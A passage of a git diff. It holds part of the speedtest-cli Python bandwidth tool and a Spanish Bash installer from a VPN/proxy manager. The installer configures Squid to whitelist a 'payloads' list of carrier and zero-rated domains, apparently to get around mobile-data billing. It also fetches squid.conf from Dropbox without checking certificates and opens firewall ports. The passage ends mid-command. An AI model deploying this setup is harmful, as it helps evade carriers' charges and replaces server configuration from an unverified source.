data['ping'], data['download'], + data['upload']]) + return out.getvalue() + + def json(self, pretty=False): + """Return data in JSON format""" + + kwargs = {} + if pretty: + kwargs.update({ + 'indent': 4, + 'sort_keys': True + }) + return json.dumps(self.dict(), **kwargs) + + +class Speedtest(object): + """Class for performing standard speedtest.net testing operations""" + + def __init__(self, config=None): + self.config = {} + self.get_config() + if config is not None: + self.config.update(config) + + self.servers = {} + self.closest = [] + self.best = {} + + self.results = SpeedtestResults() + + def get_config(self): + """Download the speedtest.net configuration and return only the data + we are interested in + """ + + headers = {} + if gzip: + headers['Accept-Encoding'] = 'gzip' + request = build_request('://www.speedtest.net/speedtest-config.php', + headers=headers) + uh, e = catch_request(request) + if e: + raise ConfigRetrievalError(e) + configxml = [] + + stream = get_response_stream(uh) + + while 1: + configxml.append(stream.read(10240)) + if len(configxml[-1]) == 0: + break + stream.close() + uh.close() + + if int(uh.code) != 200: + return None + + printer(''.encode().join(configxml), debug=True) + + try: + root = ET.fromstring(''.encode().join(configxml)) + server_config = root.find('server-config').attrib + download = root.find('download').attrib + upload = root.find('upload').attrib + # times = root.find('times').attrib + client = root.find('client').attrib + + except AttributeError: + root = DOM.parseString(''.join(configxml)) + server_config = get_attributes_by_tag_name(root, 'server-config') + download = get_attributes_by_tag_name(root, 'download') + upload = get_attributes_by_tag_name(root, 'upload') + # times = get_attributes_by_tag_name(root, 'times') + client = get_attributes_by_tag_name(root, 'client') + + ignore_servers = list( + map(int, server_config['ignoreids'].split(',')) + ) + + ratio = int(upload['ratio']) + upload_max = int(upload['maxchunkcount']) + up_sizes = [32768, 65536, 131072, 262144, 524288, 1048576, 7340032] + sizes = { + 'upload': up_sizes[ratio - 1:], + 'download': [350, 500, 750, 1000, 1500, 2000, 2500, + 3000, 3500, 4000] + } + + counts = { + 'upload': int(upload_max * 2 / len(sizes['upload'])), + 'download': int(download['threadsperurl']) + } + + threads = { + 'upload': int(upload['threads']), + 'download': int(server_config['threadcount']) * 2 + } + + length = { + 'upload': int(upload['testlength']), + 'download': int(download['testlength']) + } + + self.config.update({ + 'client': client, + 'ignore_servers': ignore_servers, + 'sizes': sizes, + 'counts': counts, + 'threads': threads, + 'length': length, + 'upload_max': upload_max + }) + + self.lat_lon = (float(client['lat']), float(client['lon'])) + + return self.config + + def get_servers(self, servers=None): + """Retrieve a the list of speedtest.net servers, optionally filtered + to servers matching those specified in the ``servers`` argument + """ + if servers is None: + servers = [] + + self.servers.clear() + + for i, s in enumerate(servers): + try: + servers[i] = int(s) + except ValueError: + raise InvalidServerIDType('%s is an invalid server type, must ' + 'be int' % s) + + urls = [ + '://www.speedtest.net/speedtest-servers-static.php', + 'http://c.speedtest.net/speedtest-servers-static.php', + '://www.speedtest.net/speedtest-servers.php', + 'http://c.speedtest.net/speedtest-servers.php', + ] + + headers = {} + if gzip: + headers['Accept-Encoding'] = 'gzip' + + errors = [] + for url in urls: + try: + request = build_request('%s?threads=%s' % + (url, + self.config['threads']['download']), + headers=headers) + uh, e = catch_request(request) + if e: + errors.append('%s' % e) + raise ServersRetrievalError + + stream = get_response_stream(uh) + + serversxml = [] + while 1: + serversxml.append(stream.read(10240)) + if len(serversxml[-1]) == 0: + break + + stream.close() + uh.close() + + if int(uh.code) != 200: + raise ServersRetrievalError + + printer(''.encode().join(serversxml), debug=True) + + try: + try: + root = ET.fromstring(''.encode().join(serversxml)) + elements = root.getiterator('server') + except AttributeError: + root = DOM.parseString(''.join(serversxml)) + elements = root.getElementsByTagName('server') + except (SyntaxError, xml.parsers.expat.ExpatError): + raise ServersRetrievalError + + for server in elements: + try: + attrib = server.attrib + except AttributeError: + attrib = dict(list(server.attributes.items())) + + if servers and int(attrib.get('id')) not in servers: + continue + + if int(attrib.get('id')) in self.config['ignore_servers']: + continue + + try: + d = distance(self.lat_lon, + (float(attrib.get('lat')), + float(attrib.get('lon')))) + except: + continue + + attrib['d'] = d + + try: + self.servers[d].append(attrib) + except KeyError: + self.servers[d] = [attrib] + + printer(''.encode().join(serversxml), debug=True) + + break + + except ServersRetrievalError: + continue + + if servers and not self.servers: + raise NoMatchedServers + + return self.servers + + def set_mini_server(self, server): + """Instead of querying for a list of servers, set a link to a + speedtest mini server + """ + + urlparts = urlparse(server) + + name, ext = os.path.splitext(urlparts[2]) + if ext: + url = os.path.dirname(server) + else: + url = server + + request = build_request(url) + uh, e = catch_request(request) + if e: + raise SpeedtestMiniConnectFailure('Failed to connect to %s' % + server) + else: + text = uh.read() + uh.close() + + extension = re.findall('upload_?[Ee]xtension: "([^"]+)"', + text.decode()) + if not extension: + for ext in ['php', 'asp', 'aspx', 'jsp']: + try: + f = urlopen('%s/speedtest/upload.%s' % (url, ext)) + except: + pass + else: + data = f.read().strip().decode() + if (f.code == 200 and + len(data.splitlines()) == 1 and + re.match('size=[0-9]', data)): + extension = [ext] + break + if not urlparts or not extension: + raise InvalidSpeedtestMiniServer('Invalid Speedtest Mini Server: ' + '%s' % server) + + self.servers = [{ + 'sponsor': 'Speedtest Mini', + 'name': urlparts[1], + 'd': 0, + 'url': '%s/speedtest/upload.%s' % (url.rstrip('/'), extension[0]), + 'latency': 0, + 'id': 0 + }] + + return self.servers + + def get_closest_servers(self, limit=5): + """Limit servers to the closest speedtest.net servers based on + geographic distance + """ + + if not self.servers: + self.get_servers() + + for d in sorted(self.servers.keys()): + for s in self.servers[d]: + self.closest.append(s) + if len(self.closest) == limit: + break + else: + continue + break + + printer(self.closest, debug=True) + return self.closest + + def get_best_server(self, servers=None): + """Perform a speedtest.net "ping" to determine which speedtest.net + server has the lowest latency + """ + + if not servers: + if not self.closest: + servers = self.get_closest_servers() + servers = self.closest + + results = {} + for server in servers: + cum = [] + url = os.path.dirname(server['url']) + urlparts = urlparse('%s/latency.txt' % url) + printer('%s %s/latency.txt' % ('GET', url), debug=True) + for _ in range(0, 3): + try: + if urlparts[0] == 'https': + h = HTTPSConnection(urlparts[1]) + else: + h = HTTPConnection(urlparts[1]) + headers = {'User-Agent': USER_AGENT} + start = timeit.default_timer() + h.request("GET", urlparts[2], headers=headers) + r = h.getresponse() + total = (timeit.default_timer() - start) + except HTTP_ERRORS: + e = sys.exc_info()[1] + printer('%r' % e, debug=True) + cum.append(3600) + continue + + text = r.read(9) + if int(r.status) == 200 and text == 'test=test'.encode(): + cum.append(total) + else: + cum.append(3600) + h.close() + + avg = round((sum(cum) / 6) * 1000.0, 3) + results[avg] = server + + try: + fastest = sorted(results.keys())[0] + except IndexError: + raise SpeedtestBestServerFailure('Unable to connect to servers to ' + 'test latency.') + best = results[fastest] + best['latency'] = fastest + + self.results.ping = fastest + self.results.server = best + + self.best.update(best) + printer(best, debug=True) + return best + + def download(self, callback=do_nothing): + """Test download speed against speedtest.net""" + + urls = [] + for size in self.config['sizes']['download']: + for _ in range(0, self.config['counts']['download']): + urls.append('%s/random%sx%s.jpg' % + (os.path.dirname(self.best['url']), size, size)) + + request_count = len(urls) + requests = [] + for i, url in enumerate(urls): + requests.append(build_request(url, bump=i)) + + def producer(q, requests, request_count): + for i, request in enumerate(requests): + thread = HTTPDownloader(i, request, start, + self.config['length']['download']) + thread.start() + q.put(thread, True) + callback(i, request_count, start=True) + + finished = [] + + def consumer(q, request_count): + while len(finished) < request_count: + thread = q.get(True) + while thread.isAlive(): + thread.join(timeout=0.1) + finished.append(sum(thread.result)) + callback(thread.i, request_count, end=True) + + q = Queue(self.config['threads']['download']) + prod_thread = threading.Thread(target=producer, + args=(q, requests, request_count)) + cons_thread = threading.Thread(target=consumer, + args=(q, request_count)) + start = timeit.default_timer() + prod_thread.start() + cons_thread.start() + while prod_thread.isAlive(): + prod_thread.join(timeout=0.1) + while cons_thread.isAlive(): + cons_thread.join(timeout=0.1) + + stop = timeit.default_timer() + self.results.bytes_received = sum(finished) + self.results.download = ( + (self.results.bytes_received / (stop - start)) * 8.0 + ) + if self.results.download > 100000: + self.config['threads']['upload'] = 8 + return self.results.download + + def upload(self, callback=do_nothing): + """Test upload speed against speedtest.net""" + + sizes = [] + + for size in self.config['sizes']['upload']: + for _ in range(0, self.config['counts']['upload']): + sizes.append(size) + + # request_count = len(sizes) + request_count = self.config['upload_max'] + + requests = [] + for i, size in enumerate(sizes): + # We set ``0`` for ``start`` and handle setting the actual + # ``start`` in ``HTTPUploader`` to get better measurements + data = HTTPUploaderData(size, 0, self.config['length']['upload']) + data._create_data() + requests.append( + ( + build_request(self.best['url'], data), + size + ) + ) + + def producer(q, requests, request_count): + for i, request in enumerate(requests[:request_count]): + thread = HTTPUploader(i, request[0], start, request[1], + self.config['length']['upload']) + thread.start() + q.put(thread, True) + callback(i, request_count, start=True) + + finished = [] + + def consumer(q, request_count): + while len(finished) < request_count: + thread = q.get(True) + while thread.isAlive(): + thread.join(timeout=0.1) + finished.append(thread.result) + callback(thread.i, request_count, end=True) + + q = Queue(self.config['threads']['upload']) + prod_thread = threading.Thread(target=producer, + args=(q, requests, request_count)) + cons_thread = threading.Thread(target=consumer, + args=(q, request_count)) + start = timeit.default_timer() + prod_thread.start() + cons_thread.start() + while prod_thread.isAlive(): + prod_thread.join(timeout=0.1) + while cons_thread.isAlive(): + cons_thread.join(timeout=0.1) + + stop = timeit.default_timer() + self.results.bytes_sent = sum(finished) + self.results.upload = ( + (self.results.bytes_sent / (stop - start)) * 8.0 + ) + return self.results.upload + + +def ctrl_c(signum, frame): + """Catch Ctrl-C key sequence and set a SHUTDOWN_EVENT for our threaded + operations + """ + + SHUTDOWN_EVENT.set() + print_('\nCancelling...') + sys.exit(0) + + +def version(): + """Print the version""" + + print_(__version__) + sys.exit(0) + + +def csv_header(): + """Print the CSV Headers""" + + print_('Server ID,Sponsor,Server Name,Timestamp,Distance,Ping,Download,' + 'Upload') + sys.exit(0) + + +def parse_args(): + """Function to handle building and parsing of command line arguments""" + description = ( + 'Command line interface for testing internet bandwidth using ' + 'speedtest.net.\n' + '------------------------------------------------------------' + '--------------\n' + 'https://github.com/sivel/speedtest-cli') + + parser = ArgParser(description=description) + # Give optparse.OptionParser an `add_argument` method for + # compatibility with argparse.ArgumentParser + try: + parser.add_argument = parser.add_option + except AttributeError: + pass + parser.add_argument('--bytes', dest='units', action='store_const', + const=('byte', 8), default=('bit', 1), + help='Display values in bytes instead of bits. Does ' + 'not affect the image generated by --share, nor ' + 'output from --json or --csv') + parser.add_argument('--share', action='store_true', + help='Generate and provide a URL to the speedtest.net ' + 'share results image') + parser.add_argument('--simple', action='store_true', default=False, + help='Suppress verbose output, only show basic ' + 'information') + parser.add_argument('--csv', action='store_true', default=False, + help='Suppress verbose output, only show basic ' + 'information in CSV format. Speeds listed in ' + 'bit/s and not affected by --bytes') + parser.add_argument('--csv-delimiter', default=',', type=PARSER_TYPE_STR, + help='Single character delimiter to use in CSV ' + 'output. Default ","') + parser.add_argument('--csv-header', action='store_true', default=False, + help='Print CSV headers') + parser.add_argument('--json', action='store_true', default=False, + help='Suppress verbose output, only show basic ' + 'information in JSON format. Speeds listed in ' + 'bit/s and not affected by --bytes') + parser.add_argument('--list', action='store_true', + help='Display a list of speedtest.net servers ' + 'sorted by distance') + parser.add_argument('--server', help='Specify a server ID to test against', + type=PARSER_TYPE_INT) + parser.add_argument('--mini', help='URL of the Speedtest Mini server') + parser.add_argument('--source', help='Source IP address to bind to') + parser.add_argument('--timeout', default=10, type=PARSER_TYPE_INT, + help='HTTP timeout in seconds. Default 10') + parser.add_argument('--secure', action='store_true', + help='Use HTTPS instead of HTTP when communicating ' + 'with speedtest.net operated servers') + parser.add_argument('--version', action='store_true', + help='Show the version number and exit') + parser.add_argument('--debug', action='store_true', + help=ARG_SUPPRESS, default=ARG_SUPPRESS) + + options = parser.parse_args() + if isinstance(options, tuple): + args = options[0] + else: + args = options + return args + + +def validate_optional_args(args): + """Check if an argument was provided that depends on a module that may + not be part of the Python standard library. + + If such an argument is supplied, and the module does not exist, exit + with an error stating which module is missing. + """ + optional_args = { + 'json': ('json/simplejson python module', json), + 'secure': ('SSL support', HTTPSConnection), + } + + for arg, info in optional_args.items(): + if getattr(args, arg, False) and info[1] is None: + raise SystemExit('%s is not installed. --%s is ' + 'unavailable' % (info[0], arg)) + + +def printer(string, quiet=False, debug=False, **kwargs): + """Helper function to print a string only when not quiet""" + + if debug and not DEBUG: + return + + if debug: + out = '\033[1;30mDEBUG: %s\033[0m' % string + else: + out = string + + if not quiet: + print_(out, **kwargs) + + +def shell(): + """Run the full speedtest.net test""" + + global SHUTDOWN_EVENT, SOURCE, SCHEME, DEBUG + SHUTDOWN_EVENT = threading.Event() + + signal.signal(signal.SIGINT, ctrl_c) + + args = parse_args() + + # Print the version and exit + if args.version: + version() + + if args.csv_header: + csv_header() + + if len(args.csv_delimiter) != 1: + raise SystemExit('--csv-delimiter must be a single character') + + validate_optional_args(args) + + socket.setdefaulttimeout(args.timeout) + + # If specified bind to a specific IP address + if args.source: + SOURCE = args.source + socket.socket = bound_socket + + if args.secure: + SCHEME = 'https' + + debug = getattr(args, 'debug', False) + if debug == 'SUPPRESSHELP': + debug = False + if debug: + DEBUG = True + + # Pre-cache the user agent string + build_user_agent() + + if args.simple or args.csv or args.json: + quiet = True + else: + quiet = False + + # Don't set a callback if we are running quietly + if quiet or debug: + callback = do_nothing + else: + callback = print_dots + + printer('Retrieving speedtest.net configuration...', quiet) + try: + speedtest = Speedtest() + except ConfigRetrievalError: + printer('Cannot retrieve speedtest configuration') + sys.exit(1) + + if args.list: + try: + speedtest.get_servers() + except ServersRetrievalError: + print_('Cannot retrieve speedtest server list') + sys.exit(1) + + for _, servers in sorted(speedtest.servers.items()): + for server in servers: + line = ('%(id)5s) %(sponsor)s (%(name)s, %(country)s) ' + '[%(d)0.2f km]' % server) + try: + print_(line) + except IOError: + e = sys.exc_info()[1] + if e.errno != errno.EPIPE: + raise + sys.exit(0) + + # Set a filter of servers to retrieve + servers = [] + if args.server: + servers.append(args.server) + + printer('Testing from %(isp)s (%(ip)s)...' % speedtest.config['client'], + quiet) + + if not args.mini: + printer('Retrieving speedtest.net server list...', quiet) + try: + speedtest.get_servers(servers) + except NoMatchedServers: + print_('No matched servers: %s' % args.server) + sys.exit(1) + except ServersRetrievalError: + print_('Cannot retrieve speedtest server list') + sys.exit(1) + except InvalidServerIDType: + print_('%s is an invalid server type, must be int' % args.server) + sys.exit(1) + + printer('Selecting best server based on ping...', quiet) + speedtest.get_best_server() + elif args.mini: + speedtest.get_best_server(speedtest.set_mini_server(args.mini)) + + results = speedtest.results + + printer('Hosted by %(sponsor)s (%(name)s) [%(d)0.2f km]: ' + '%(latency)s ms' % results.server, quiet) + + printer('Testing download speed', quiet, + end=('', '\n')[bool(debug)]) + speedtest.download(callback=callback) + printer('Download: %0.2f M%s/s' % + ((results.download / 1000.0 / 1000.0) / args.units[1], + args.units[0]), + quiet) + + printer('Testing upload speed', quiet, + end=('', '\n')[bool(debug)]) + speedtest.upload(callback=callback) + printer('Upload: %0.2f M%s/s' % + ((results.upload / 1000.0 / 1000.0) / args.units[1], + args.units[0]), + quiet) + + if args.simple: + print_('Ping: %s ms\nDownload: %0.2f M%s/s\nUpload: %0.2f M%s/s' % + (results.ping, + (results.download / 1000.0 / 1000.0) / args.units[1], + args.units[0], + (results.upload / 1000.0 / 1000.0) / args.units[1], + args.units[0])) + elif args.csv: + print_(results.csv(delimiter=args.csv_delimiter)) + elif args.json: + print_(results.json()) + + if args.share: + printer('Share results: %s' % results.share(), quiet) + + +def main(): + try: + shell() + except KeyboardInterrupt: + print_('\nCancelling...') + except (SpeedtestException, SystemExit): + e = sys.exc_info()[1] + if getattr(e, 'code', 1) != 0: + raise SystemExit('ERROR: %s' % e) + + +if __name__ == '__main__': + main() + +# vim:ts=4:sw=4:expandtab diff --git a/ADM-VENTAS-LEALDROID/request/squid.sh b/ADM-VENTAS-LEALDROID/request/squid.sh new file mode 100644 index 0000000..d72036a --- /dev/null +++ b/ADM-VENTAS-LEALDROID/request/squid.sh @@ -0,0 +1,409 @@ +#!/bin/bash +Block="/etc/crondbl" && [[ ! -d ${Block} ]] && exit +Block > /dev/null 2>&1 +declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;32m" [3]="\033[1;36m" [4]="\033[1;31m" ) +SCPfrm="/etc/ger-frm" && [[ ! -d ${SCPfrm} ]] && exit +SCPinst="/etc/ger-inst" && [[ ! -d ${SCPinst} ]] && exit +#LISTA PORTAS +mportas () { +unset portas +portas_var=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN") +while read port; do +var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}') +[[ "$(echo -e $portas|grep "$var1 $var2")" ]] || portas+="$var1 $var2\n" +done <<< "$portas_var" +i=1 +echo -e "$portas" +} +fun_squid () { + if [[ -e /etc/squid/squid.conf ]]; then + var_squid="/etc/squid/squid.conf" + elif [[ -e /etc/squid3/squid.conf ]]; then + var_squid="/etc/squid3/squid.conf" + fi + [[ -e $var_squid ]] && { + msg -ama " $(fun_trans "REMOVIENDO SQUID")" + msg -bar + service squid stop > /dev/null 2>&1 + fun_bar "apt-get remove squid3 -y" + msg -ama " $(fun_trans "Procedimiento completado")" + msg -bar + [[ -e $var_squid ]] && rm $var_squid + return 0 + } +} +install_squid () { +msg -ama " $(fun_trans "INSTALADOR SQUID ADM-ULTIMATE")" +msg -bar +fun_ip +msg -ne " $(fun_trans "Confirme su IP")"; read -p ": " -e -i $IP ip +msg -ama " $(fun_trans "Ahora elige las Puertas que desea en el Squid")" +msg -ama " $(fun_trans "Seleccione las puertas en orden secuencial de ejemplo: 80 8080 8799 3128")" +msg -ne " $(fun_trans "Introduzca los puertos:") "; read portasx +totalporta=($portasx) +unset PORT + for portx in $(echo $portasx); do + [[ $(mportas|grep "${portx}") = "" ]] && { + msg -ama " $(fun_trans "Puerta Elegida:")\033[1;32m ${portx} OK" + PORT+="${portx}\n" + } || { + msg -ama " $(fun_trans "Puerta Elegida:")\033[1;31m ${portx} FALLO" + } + done + [[ -z $PORT ]] && { + msg -verm " $(fun_trans "No se ha elegido ninguna puerta valida")\033[0m" + return 1 + } +msg -bar +msg -ama " $(fun_trans "INSTALACION SQUID")" +msg -bar +fun_bar "apt-get install squid3 -y" +msg -bar +msg -ama " $(fun_trans "INICIANDO CONFIGURACION")" +msg -bar +echo -e ".bookclaro.com.br/\n.claro.com.ar/\n.claro.com.br/\n.claro.com.co/\n.claro.com.ec/\n.claro.com.gt/\n.cloudfront.net/\n.claro.com.ni/\n.claro.com.pe/\n.claro.com.sv/\n.claro.cr/\n.clarocurtas.com.br/\n.claroideas.com/\n.claroideias.com.br/\n.claromusica.com/\n.clarosomdechamada.com.br/\n.clarovideo.com/\n.facebook.net/\n.facebook.com/\n.netclaro.com.br/\n.oi.com.br/\n.oimusica.com.br/\n.speedtest.net/\n.tim.com.br/\n.timanamaria.com.br/\n.vivo.com.br/\n.rdio.com/\n.compute-1.amazonaws.com/\n.portalrecarga.vivo.com.br/\n.vivo.ddivulga.com/" > /etc/payloads +msg -ama " $(fun_trans "Ahora Escoja Una Configuracion Para Su Proxy")" +msg -bar +msg -ama "|1| $(fun_trans "Comum")" +msg -ama "|2| $(fun_trans "Customizado") -\033[1;31m $(fun_trans "Usuario Debe Ajustar")\033[1;37m" +msg -bar +read -p "[1/2]: " -e -i 1 proxy_opt +tput cuu1 && tput dl1 +if [[ $proxy_opt = 1 ]]; then +msg -ama " $(fun_trans "INSTALACION SQUID COMUN")" +elif [[ $proxy_opt = 1 ]]; then +msg -ama " $(fun_trans "INSTALACION SQUID CUSTOMIZADO")" +else +msg -ama " $(fun_trans "INSTALACION SQUID COMUM")" +proxy_opt=1 +fi +unset var_squid +if [[ -d /etc/squid ]]; then +var_squid="/etc/squid/squid.conf" +elif [[ -d /etc/squid3 ]]; then +var_squid="/etc/squid3/squid.conf" +fi +if [[ "$proxy_opt" = @(02|2) ]]; then +echo -e "#ConfiguracaoSquiD +acl url1 dstdomain -i $ip +acl url2 dstdomain -i 127.0.0.1 +acl url3 url_regex -i '/etc/payloads' +acl url4 url_regex -i '/etc/opendns' +acl url5 dstdomain -i localhost +acl accept dstdomain -i GET +acl accept dstdomain -i POST +acl accept dstdomain -i OPTIONS +acl accept dstdomain -i CONNECT +acl accept dstdomain -i PUT +acl HEAD dstdomain -i HEAD +acl accept dstdomain -i TRACE +acl accept dstdomain -i OPTIONS +acl accept dstdomain -i PATCH +acl accept dstdomain -i PROPATCH +acl accept dstdomain -i DELETE +acl accept dstdomain -i REQUEST +acl accept dstdomain -i METHOD +acl accept dstdomain -i NETDATA +acl accept dstdomain -i MOVE +acl all src 0.0.0.0/0 +http_access allow url1 +http_access allow url2 +http_access allow url3 +http_access allow url4 +http_access allow url5 +http_access allow accept +http_access allow HEAD +http_access deny all + +# Request Headers Forcing + +request_header_access Allow allow all +request_header_access Authorization allow all +request_header_access WWW-Authenticate allow all +request_header_access Proxy-Authorization allow all +request_header_access Proxy-Authenticate allow all +request_header_access Cache-Control allow all +request_header_access Content-Encoding allow all +request_header_access Content-Length allow all +request_header_access Content-Type allow all +request_header_access Date allow all +request_header_access Expires allow all +request_header_access Host allow all +request_header_access If-Modified-Since allow all +request_header_access Last-Modified allow all +request_header_access Location allow all +request_header_access Pragma allow all +request_header_access Accept allow all +request_header_access Accept-Charset allow all +request_header_access Accept-Encoding allow all +request_header_access Accept-Language allow all +request_header_access Content-Language allow all +request_header_access Mime-Version allow all +request_header_access Retry-After allow all +request_header_access Title allow all +request_header_access Connection allow all +request_header_access Proxy-Connection allow all +request_header_access User-Agent allow all +request_header_access Cookie allow all +#request_header_access All deny all + +# Response Headers Spoofing + +#reply_header_access Via deny all +#reply_header_access X-Cache deny all +#reply_header_access X-Cache-Lookup deny all + +#portas" > $var_squid +for pts in $(echo -e $PORT); do +echo -e "http_port $pts" >> $var_squid +done +echo -e " +#nome +visible_hostname ADM-MANAGER + +via off +forwarded_for off +pipeline_prefetch off" >> $var_squid + else +echo -e "#ConfiguracaoSquiD +acl url1 dstdomain -i $ip +acl url2 dstdomain -i 127.0.0.1 +acl url3 url_regex -i '/etc/payloads' +acl url4 url_regex -i '/etc/opendns' +acl url5 dstdomain -i localhost +acl all src 0.0.0.0/0 +http_access allow url1 +http_access allow url2 +http_access allow url3 +http_access allow url4 +http_access allow url5 +http_access deny all + +#portas" > $var_squid +for pts in $(echo -e $PORT); do +echo -e "http_port $pts" >> $var_squid +done +echo -e " +#nome +visible_hostname ADM-MANAGER + +via off +forwarded_for off +pipeline_prefetch off" >> $var_squid +fi +touch /etc/opendns +fun_eth +msg -ne " \033[1;31m [ ! ] \033[1;33m$(fun_trans "REINICIANDO SERVICIOS")" +squid3 -k reconfigure > /dev/null 2>&1 +service ssh restart > /dev/null 2>&1 +service squid3 restart > /dev/null 2>&1 +echo -e " \033[1;32m[OK]" +msg -bar && msg -ama " $(fun_trans "SQUID CONFIGURADO")" && msg -bar +#UFW +for ufww in $(mportas|awk '{print $2}'); do +ufw allow $ufww > /dev/null 2>&1 +done +} +online_squid () { +payload="/etc/payloads" +msg -azu " $(fun_trans "SQUID CONFIGURADO")" +msg -bar +echo -ne "\033[1;32m [1] > " && msg -azu "$(fun_trans "Colocar Host en Squid")" +echo -ne "\033[1;32m [2] > " && msg -azu "$(fun_trans "Quitar el host de Squid")" +echo -ne "\033[1;32m [3] > " && msg -azu "$(fun_trans "Desinstalar Squid")" +echo -ne "\033[1;32m [0] > " && msg -bra "$(fun_trans "Volver")" +msg -bar +while [[ $varpay != @(0|[1-3]) ]]; do +read -p "[0/3]: " varpay +tput cuu1 && tput dl1 +done +if [[ "$varpay" = "0" ]]; then +return 1 +elif [[ "$varpay" = "1" ]]; then +msg -ama " $(fun_trans "Hosts Actuales Dentro del Squid")" +msg -bar +cat $payload | awk -F "/" '{print $1,$2,$3,$4}' +msg -bar +while [[ $hos != \.* ]]; do +msg -ne " $(fun_trans "Escriba el nuevo host"): " && read hos +tput cuu1 && tput dl1 +[[ $hos = \.* ]] && continue +msg -ama " $(fun_trans "Comience con") .${cor[0]}" +sleep 2s +tput cuu1 && tput dl1 +done +host="$hos/" +[[ -z $host ]] && return 1 +[[ `grep -c "^$host" $payload` -eq 1 ]] &&:echo -e "${cor[4]}$(fun_trans "Host Ya Existe")${cor[0]}" && return 1 +echo "$host" >> $payload && grep -v "^$" $payload > /tmp/a && mv /tmp/a $payload +msg -ama "$(fun_trans "Host agregado con exito")" +msg -bar +cat $payload | awk -F "/" '{print $1,$2,$3,$4}' +msg -bar +if [[ ! -f "/etc/init.d/squid" ]]; then +service squid3 reload +service squid3 restart +else +/etc/init.d/squid reload +service squid restart +fi +return 0 +elif [[ "$varpay" = "2" ]]; then +echo -e "${cor[4]} $(fun_trans "Hosts Actuales Dentro del Squid")" +msg -bar +cat $payload | awk -F "/" '{print $1,$2,$3,$4}' +msg -bar +while [[ $hos != \.* ]]; do +echo -ne "${cor[4]}$(fun_trans "Introduzca el host"): " && read hos +tput cuu1 && tput dl1 +[[ $hos = \.* ]] && continue +echo -e "${cor[4]}$(fun_trans "Comience con") .${cor[0]}" +sleep 2s +tput cuu1 && tput dl1 +done +host="$hos/" +[[ -z $host ]] && return 1 +[[ `grep -c "^$host" $payload` -ne 1 ]] &&!msg -ama "$(fun_trans "Host no encontrado")" && return 1 +grep -v "^$host" $payload > /tmp/a && mv /tmp/a $payload +msg -ama " $(fun_trans "Host Removido Con exito")${cor[0]}" +msg -bar +cat $payload | awk -F "/" '{print $1,$2,$3,$4}' +msg -bar +if [[ ! -f "/etc/init.d/squid" ]]; then +service squid3 reload +service squid3 restart +else +/etc/init.d/squid reload +service squid restart +fi +return 0 +elif [[ "$varpay" = "3" ]]; then +fun_squid +fi +} + +squid_19 () { +#Instalador squid soporte a nuevos O.S + +msg -bar +msg -bra "ESTE INSTALADOR CONFIGURA AUTOMATICAMNETE EL PUERTO SQUID EN LOS 2 UNICOS" +msg -bar +msg -bra "FUNCIONALES QUE ES EL 8080 Y EL 80 CON SOPORTE ALOS O.S" +msg -bar +msg -ama "DEBIAN 8,9 UBUNTU 14.04, 16.04, 18.04, 19.04" +sleep 2s +msg -bar +msg -bra "DETECTECTANDO SISTEMA OPERATIVO ESPERE......" +sleep 3s + +msg -bar + +if cat /etc/os-release | grep PRETTY_NAME | grep "Ubuntu 19.04"; then + /usr/bin/apt update > /dev/null 2>&1 + /usr/bin/apt -y install apache2-utils squid + touch /etc/squid/passwd + /bin/rm -f /etc/squid/squid.conf + /usr/bin/touch /etc/squid/blacklist.acl + /usr/bin/wget --no-check-certificate -O /etc/squid/squid.conf https://www.dropbox.com/s/5mb69eainxialac/squid.conf +echo -e "acl url1 dstdomain -i $ip" >> /etc/squid/squid.conf + /sbin/iptables -I INPUT -p tcp --dport 80 -j ACCEPT +/sbin/iptables -I INPUT -p tcp --dport 8080 -j ACCEPT +/sbin/iptables -I INPUT -p tcp --dport 3128 -j ACCEPT + /sbin/iptables-save + systemctl enable squid + systemctl restart squid + +elif cat /etc/os-release | grep PRETTY_NAME | grep "Ubuntu 18.04"; then + /usr/bin/apt update > /dev/null 2>&1 + /usr/bin/apt -y install apache2-utils squid + touch /etc/squid/passwd + /bin/rm -f /etc/squid/squid.conf + /usr/bin/touch /etc/squid/blacklist.acl + /usr/bin/wget --no-check-certificate -O /etc/squid/squid.conf https://www.dropbox.com/s/5mb69eainxialac/squid.conf + /sbin/iptables -I INPUT -p tcp --dport 80 -j ACCEPT +/sbin/iptables -I INPUT -p tcp --dport 8080 -j ACCEPT +/sbin/iptables -I INPUT -p tcp --dport 3128 -j ACCEPT + /sbin/iptables-save + systemctl enable squid + systemctl restart squid + +elif cat /etc/os-release | grep PRETTY_NAME | grep "Ubuntu 16.04"; then + /usr/bin/apt update > /dev/null 2>&1 + /usr/bin/apt -y install apache2-utils squid3 + touch /etc/squid/passwd + /bin/rm -f /etc/squid/squid.conf + /usr/bin/touch /etc/squid/blacklist.acl + /usr/bin/wget --no-check-certificate -O /etc/squid/squid.conf https://www.dropbox.com/s/5mb69eainxialac/squid.conf + /sbin/iptables -I INPUT -p tcp --dport 8080 -j ACCEPT + /sbin/iptables-save + service squid restart + update-rc.d squid defaults + +elif cat /etc/*release | grep DISTRIB_DESCRIPTION | grep "Ubuntu 14.04"; then + /usr/bin/apt update > /dev/null 2>&1 + /usr/bin/apt -y install apache2-utils squid3 + touch /etc/squid3/passwd + /bin/rm -f /etc/squid3/squid.conf + /usr/bin/touch /etc/squid3/blacklist.acl + /usr/bin/wget --no-check-certificate -O /etc/squid3/squid.conf https://www.dropbox.com/s/5mb69eainxialac/squid.conf + /sbin/iptables -I INPUT -p tcp --dport 8080 -j ACCEPT + /sbin/iptables-save + service squid3 restart + ln -s /etc/squid3 /etc/squid + #update-rc.d squid3 defaults + ln -s /etc/squid3 /etc/squid + +elif cat /etc/os-release | grep PRETTY_NAME | grep "jessie"; then + # OS = Debian 8 > /dev/null 2>&1 + /bin/rm -rf /etc/squid + /usr/bin/apt update + /usr/bin/apt -y install apache2-utils squid3 + touch /etc/squid3/passwd + /bin/rm -f /etc/squid3/squid.conf + /usr/bin/touch /etc/squid3/blacklist.acl + /usr/bin/wget --no-check-certificate -O /etc/squid3/squid.conf https://www.dropbox.com/s/5mb69eainxialac/squid.conf + /sbin/iptables -I INPUT -p tcp --dport 8080 -j ACCEPT + /sbin/iptables-save + service squid3 restart + update-rc.d squid3 defaults + ln -s /etc/squid3 /etc/squid + +elif cat /etc/os-release | grep PRETTY_NAME | grep "stretch"; then + # OS = Debian 9 > /dev/null 2>&1 + /bin/rm -rf /etc/squid + /usr/bin/apt update + /usr/bin/apt -y 